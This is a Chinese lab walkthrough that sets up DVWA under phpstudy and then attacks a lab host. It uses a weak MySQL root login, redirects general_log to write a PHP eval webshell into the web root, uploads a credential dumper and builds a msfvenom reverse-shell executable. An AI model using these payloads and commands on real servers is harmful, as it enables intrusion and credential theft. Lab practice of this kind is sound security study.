在win11上安装phpstudy
第一步因为用的win11系统可能会遇到许多麻烦,故不使用较新的通过官网下载
我这里解压到c盘新建的文件夹  官网下载 http://www.dvwa.co.uk/ 
配置DVWA环境
先将 //www/DVWA-master/configure/ 中的 configure.inc.php.dist 拷贝一份去掉 .dist后缀 然后将 configure/configure.inc.php 文件中的数据库信息修改为如下图(也就是配置数据库密码): 问题一:dvwa无法访问的情况 启动phpstudy并允许访问
 
问题二:出现 PHP function allow_url_include: Disabled 需要修改php配置文件的 php.ini 将php安装路径下 php5.4.45中的php配置文件allow_url_include 值改为on
注1:是你安装的php目录下的php.ini 不是你DVWA目录下的。 注2:Linux 修改之后需要重启 php以生效。 修改之后重启 Apache 或 Nginx 生效
 问题三:出现 reCAPTCHA:Missing 字样
把key填上刷新页面即可
$_DVWA[ 'recaptcha_public_key' ] = '6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb';
$_DVWA[ 'recaptcha_private_key' ] = '6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K';
问题四  将数据库用户和密码该为root root即可 刷新后 
信息收集
开始在win10上扫描端口
访问192.168.80.144:80出现hello word  
弱口令登录root root
1.点击变量选项,搜索gen就会出来general.log和general log file这两个变量,general.log变量是指是否启动记录日志;而general log file指的是日志文件的路径,可以看到general.log变量的状态为OFF,故我们要修改为ON;general log file变量中的*.log的后缀我们改为*php。拿完webshell记得要改回去哟。SQL语句进行修改:
set global general_log = “ON”; 日记保存状态开启;
SET global general_log_file=’c:/phpStudy/phpstudy/PHPTutorial/WWW/shell.php’ 修改日记的保存位。(具体路径还需在实际环境中改变);
 首先我们输入select @@basedir;成功的返回网站根目录的路径:
 
把上图general log改为on 上图我是直接点击的编辑(效果并不好)然后把general_log_file设置为shell的绝对路径 必须在sql里面进行更改物理路径
SET global general_log_file='C:/phpStudy/PHPTutorial/WWW/shell.php';
 看下刚刚创建的shell.php里的内容 然后执行SQL查询语句,写个一句话进去。
SELECT '<?php @eval($_POST["shell"]);?>';
成功插入了一句话木马
一句话链接在根目录(http://192.168.80.144/shell.php/)即win11电脑 
下载https://github.com/returnvar/wce 并通过菜刀上传文件 发现现在获取的权限为administrator权限,通过msf下getsystem来进行提权。
生成exe的反弹连接木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.144 LPORT=4444 -f exe >testshell.exe
 上传之后我的kali出现  之后又尝试了cs但无法获取到session,这篇文章就到这!
|